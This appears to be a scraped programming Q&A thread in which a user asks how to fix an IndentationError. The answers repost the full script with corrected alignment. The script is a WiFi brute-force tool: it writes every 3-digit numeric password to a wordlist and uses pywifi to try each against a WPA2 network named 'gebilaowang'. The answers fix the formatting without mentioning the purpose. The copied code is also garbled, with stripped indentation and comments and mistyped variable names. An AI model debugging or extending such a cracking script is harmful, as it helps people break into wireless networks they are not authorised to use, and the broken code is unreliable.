when I compile this code I get File "", line 60
except:
^
IndentationError: unindent does not match any outer indentation level
what is the solution for this?
def readPassword():
print(':')
path='./wifipasswords.txt'#
file=open(path,'r')#
while True:
try:
pad=file.readline()#
bool=wifiConnect(pad)#,
if bool:
print(': ',pad)
print('wifi!!!')
break
else:
print('...',pad)
print('\n ')
except:
continue
#
readPassword()
CodePudding user response:
The traceback clearly defines your error:
IndentationError: unindent does not match any outer indentation level
The except block must be aligned in python. In python, indentation matters. Also, all imports should be at the top, and you should parts of your code with a whitespace. (dic = open('./wifipasswords.txt', 'a')
vs dic=open('./wifipasswords.txt', 'a')
) I recommend installing a formatter like autopep8
to avoid these issues. Your updated code should look like this:
import itertools as its
import pywifi
from pywifi import const
import time
words = '1234567890' #
r = its.product(words, repeat=3) # ,,repeat=5
dic = open('./wifipasswords.txt', 'a') # ,,
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('')
# ,
def wifiConnect(pwd):
wifi = pywifi.PyWiFi() #
ifaces = wifi.interfaces()[0] #
iface.disconnect() #
time.sleep(1) #
wifistatus = ifces.status() #
if wifistatus == const.IFACE_DISCONNECTED: # wifi
profile = pywifi.Profile() # wifi
profile.ssid = 'gebilaowang' # wifi
profile.auth = const.AUTH_ALG_OPEN #
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi,wifiwps
profile.clipher = const.CIPHER_TYPE_CCMP #
profile.key = pwd #
ifaces.remove_all_network_profiles() #
#
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3) # ,wifi,
if ifaces.status() == const.IFACE_CONNECTED: #
return True
else:
return False
else:
print('wifi,')
#
def readPassword():
print(':')
path = './wifipasswords.txt' #
file = open(path, 'r') #
while True:
try:
pad = file.readline() #
bool = wifiConnect(pad) # ,
if bool:
print(': ', pad)
print('wifi!!!')
break
else:
print('...', pad)
print('\n ')
except:
continue
#
readPassword()
CodePudding user response:
you had indentation error at except
.
import itertools as its
words='1234567890'#
r=its.product(words,repeat=3)#,,repeat=5
dic=open('./wifipasswords.txt','a')#,,
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('')
import pywifi
from pywifi import const
import time
#,
def wifiConnect(pwd):
wifi=pywifi.PyWiFi()#
ifaces=wifi.interfaces()[0]#
iface.disconnect()#
time.sleep(1)#
wifistatus=ifces.status()#
if wifistatus==const.IFACE_DISCONNECTED:#wifi
profile=pywifi.Profile()#wifi
profile.ssid='gebilaowang'#wifi
profile.auth=const.AUTH_ALG_OPEN#
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi,wifiwps
profile.clipher=const.CIPHER_TYPE_CCMP#
profile.key=pwd#
ifaces.remove_all_network_profiles()#
#
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)#,wifi,
if ifaces.status()==const.IFACE_CONNECTED:#
return True
else:
return False
else:
print('wifi,')
#
def readPassword():
print(':')
path='./wifipasswords.txt'#
file=open(path,'r')#
while True:
try:
pad=file.readline()#
bool=wifiConnect(pad)#,
if bool:
print(': ',pad)
print('wifi!!!')
break
else:
print('...',pad)
print('\n ')
except: # HERE INDENTATION
continue
#
readPassword()